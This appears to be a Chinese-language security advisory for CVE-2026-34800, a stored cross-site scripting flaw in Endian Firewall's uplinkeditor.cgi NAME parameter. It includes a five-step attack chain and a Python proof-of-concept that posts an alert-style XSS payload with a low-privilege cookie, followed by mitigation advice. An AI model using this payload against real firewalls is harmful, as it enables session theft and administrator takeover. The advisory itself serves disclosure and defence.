IPBUF安全漏洞报告
English
CVE-2026-34800 CVSS 6.4 中危

CVE-2026-34800 Endian Firewall存储型XSS漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34800
漏洞类型
存储型XSS (Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

XSS存储型XSSCross-Site ScriptingEndian FirewallWeb安全中危

漏洞概述

Endian Firewall 3.3.25及更早版本存在存储型跨站脚本漏洞。攻击者可利用/cgi-bin/uplinkeditor.cgi接口的NAME参数注入恶意脚本。由于系统未对该参数进行有效过滤,脚本被存储并在其他用户访问时执行,可能导致会话劫持或敏感信息泄露。

技术细节

该漏洞位于Endian Firewall的uplinkeditor.cgi脚本中,属于典型的存储型XSS。漏洞成因是应用程序对用户输入的NAME参数缺乏严格的输入验证和输出编码。攻击者需经过低权限认证(PR:L),构造包含JavaScript代码的Payload发送至服务器。服务器将恶意数据持久化存储。当管理员或其他高权限用户浏览该配置页面时,浏览器解析并执行恶意脚本。攻击者可借此窃取Session ID、Cookie等凭据,进而接管管理员账户,实施进一步的内网渗透或系统破坏。

攻击链分析

STEP 1
侦察与认证
攻击者识别目标为Endian Firewall,并获取低权限账户凭据。
STEP 2
漏洞利用
攻击者向/cgi-bin/uplinkeditor.cgi发送POST请求,在NAME参数中注入恶意JavaScript代码。
STEP 3
存储与等待
服务器接收并保存恶意数据,攻击者等待管理员或其他用户访问受影响页面。
STEP 4
触发攻击
当受害者访问包含恶意脚本的页面时,浏览器解析并执行代码,窃取Session或Cookie。
STEP 5
权限提升
攻击者利用窃取的管理员凭证,以管理员身份登录系统,执行任意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://<target-ip>/cgi-bin/uplinkeditor.cgi" # Malicious XSS payload xss_payload = "<img src=x onerror=alert('CVE-2026-34800')>" # Vulnerable parameter 'NAME' payload_data = { "NAME": xss_payload, "ACTION": "save" } # Attacker session cookie (Low privileges required) cookies = { "session_id": "<low_priv_session_cookie>" } try: response = requests.post(target_url, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Endian Firewall <= 3.3.25

防御指南

临时缓解措施
在未升级补丁前,建议严格限制对/cgi-bin/uplinkeditor.cgi页面的访问IP,仅允许管理网络访问。同时,管理员应加强对可疑登录行为的监控,避免在处理防火墙配置时访问其他不可信站点,防止被结合其他攻击手段利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表